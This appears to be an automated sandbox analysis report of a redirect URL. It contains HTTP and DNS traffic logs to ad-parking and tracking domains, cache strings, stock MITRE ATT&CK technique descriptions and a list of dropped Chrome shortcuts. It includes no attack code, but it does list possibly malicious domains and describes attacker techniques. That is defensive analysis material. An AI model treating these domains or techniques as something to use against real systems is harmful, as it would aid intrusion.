Source: global traffic	HTTP traffic detected: GET /afs/gen_204?client=dp-teaminternet09_3ph&output=uds_ads_only&zx=35mgsdqnx1tq&aqid=oMhPZvCxD6uijuwPiPui6Qk&psid=7840396037&pbt=bs&adbx=375&adby=93&adbh=496&adbw=530&adbah=160%2C160%2C160&adbn=master-1&eawp=partner-dp-teaminternet09_3ph&errv=635538657&csala=7%7C0%7C1139%7C1372%7C276&lle=0&ifv=1&hpt=1&wbd=false HTTP/1.1Host: www.adsensecustomsearchads.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://ww12.ngelit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /afs/gen_204?client=dp-teaminternet09_3ph&output=uds_ads_only&zx=vhf3wk3421c2&aqid=oMhPZvCxD6uijuwPiPui6Qk&psid=7840396037&pbt=bv&adbx=375&adby=93&adbh=496&adbw=530&adbah=160%2C160%2C160&adbn=master-1&eawp=partner-dp-teaminternet09_3ph&errv=635538657&csala=7%7C0%7C1139%7C1372%7C276&lle=0&ifv=1&hpt=1&wbd=false HTTP/1.1Host: www.adsensecustomsearchads.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: http://ww12.ngelit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ad_icons/standard/publisher_icon_image/chevron.svg?c=%23ffffff HTTP/1.1Host: afs.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ad_icons/standard/publisher_icon_image/search.svg?c=%23ffffff HTTP/1.1Host: afs.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: fauzi3.ngelit.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?usid=18&utid=25970526717 HTTP/1.1Host: ww12.ngelit.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page/enhance.js?pcId=12&domain=ngelit.com HTTP/1.1Host: parking.parklogic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://ww12.ngelit.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track.php?domain=ngelit.com&toggle=browserjs&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D HTTP/1.1Host: ww12.ngelit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://ww12.ngelit.com/?usid=18&utid=25970526717Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=18&utid=25970526717&query=null&domainJs=ww12.ngelit.com&path=/&ss=true&lp=1 HTTP/1.1Host: parking.parklogic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Origin: http://ww12.ngelit.comReferer: http://ww12.ngelit.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ls.php?t=664fc89c&token=dda1e75f0c57350d2d7f28c09d9ec469c70db1b0 HTTP/1.1Host: ww12.ngelit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://ww12.ngelit.com/?usid=18&utid=25970526717Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/cleanPeppermintBlack_657d9013/img/arrows.png HTTP/1.1Host: d38psrni17bvxu.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://ww12.ngelit.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track.php?domain=ngelit.com&toggle=browserjs&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D HTTP/1.1Host: ww12.ngelit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=18&utid=25970526717&query=null&domainJs=ww12.ngelit.com&path=/&ss=true&lp=1 HTTP/1.1Host: parking.parklogic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/cleanPeppermintBlack_657d9013/img/arrows.png HTTP/1.1Host: d38psrni17bvxu.cloudfront.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track.php?domain=ngelit.com&caf=1&toggle=answercheck&answer=yes&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D HTTP/1.1Host: ww12.ngelit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://ww12.ngelit.com/?usid=18&utid=25970526717Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __gsas=ID=92b55ae556c71643:T=1716504736:RT=1716504736:S=ALNI_MbC761s07K7Y91R73mkAvtsJB0EBA
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ww12.ngelit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://ww12.ngelit.com/?usid=18&utid=25970526717Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __gsas=ID=92b55ae556c71643:T=1716504736:RT=1716504736:S=ALNI_MbC761s07K7Y91R73mkAvtsJB0EBA
Source: global traffic	HTTP traffic detected: GET /track.php?domain=ngelit.com&caf=1&toggle=answercheck&answer=yes&uid=MTcxNjUwNDczMi40MDEzOmJhMzRiY2Q0YTY5Y2I1ODg1Yzg4ZTJiZDg0NmRlYTc5YTUzZWMxMGEwMmY0MmU2ZjEzNGJiMTgyZTgzYzY5Zjk6NjY0ZmM4OWM2MWY5Mw%3D%3D HTTP/1.1Host: ww12.ngelit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __gsas=ID=92b55ae556c71643:T=1716504736:RT=1716504736:S=ALNI_MbC761s07K7Y91R73mkAvtsJB0EBA
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ww12.ngelit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __gsas=ID=92b55ae556c71643:T=1716504736:RT=1716504736:S=ALNI_MbC761s07K7Y91R73mkAvtsJB0EBA

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.8.90
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: chromecache_117.2.dr	String found in binary or memory: Math.round(p);u["gtm.videoCurrentTime"]=Math.round(q);u["gtm.videoElapsedTime"]=Math.round(f);u["gtm.videoPercent"]=r;u["gtm.videoVisible"]=t;return u},bk:function(){e=Db()},pd:function(){d()}}};var ic=ma(["data-gtm-yt-inspected-"]),GC=["www.youtube.com","www.youtube-nocookie.com"],HC,IC=!1; equals www.youtube.com (Youtube)
Source: chromecache_117.2.dr	String found in binary or memory: e\|\|f\|\|g.length\|\|h.length))return;var n={Wg:d,Ug:e,Vg:f,Lh:g,Mh:h,xe:m,Ab:b},p=G.YT,q=function(){OC(n)};if(p)return p.ready&&p.ready(q),b;var r=G.onYouTubeIframeAPIReady;G.onYouTubeIframeAPIReady=function(){r&&r();q()};I(function(){for(var t=H.getElementsByTagName("script"),v=t.length,u=0;u<v;u++){var w=t[u].getAttribute("src");if(RC(w,"iframe_api")\|\|RC(w,"player_api"))return b}for(var y=H.getElementsByTagName("iframe"),x=y.length,B=0;B<x;B++)if(!IC&&PC(y[B],n.xe))return yc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_114.2.dr, chromecache_119.2.dr	String found in binary or memory: return b}EC.K="internal.enableAutoEventOnTimer";var ic=ma(["data-gtm-yt-inspected-"]),GC=["www.youtube.com","www.youtube-nocookie.com"],HC,IC=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: simxtrackredirecttszz.pages.dev
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: telegram.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: simxtrack.com
Source: global traffic	DNS traffic detected: DNS query: secretsafedomain.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jmp-assets.com
Source: global traffic	DNS traffic detected: DNS query: statisticresearch.com
Source: global traffic	DNS traffic detected: DNS query: cdn.smrt-content.com
Source: global traffic	DNS traffic detected: DNS query: cloudflrcdn.com
Source: global traffic	DNS traffic detected: DNS query: static.trafficjunky.com
Source: global traffic	DNS traffic detected: DNS query: tsyndicate.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jmpcdn.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: fauzi3.ngelit.com
Source: global traffic	DNS traffic detected: DNS query: ww12.ngelit.com
Source: global traffic	DNS traffic detected: DNS query: parking.parklogic.com
Source: global traffic	DNS traffic detected: DNS query: d38psrni17bvxu.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: www.adsensecustomsearchads.com
Source: global traffic	DNS traffic detected: DNS query: afs.googleusercontent.com

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://simxtrackredirecttszz.pages.dev/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Windows Analysis Report
http://simxtrackredirecttszz.pages.dev/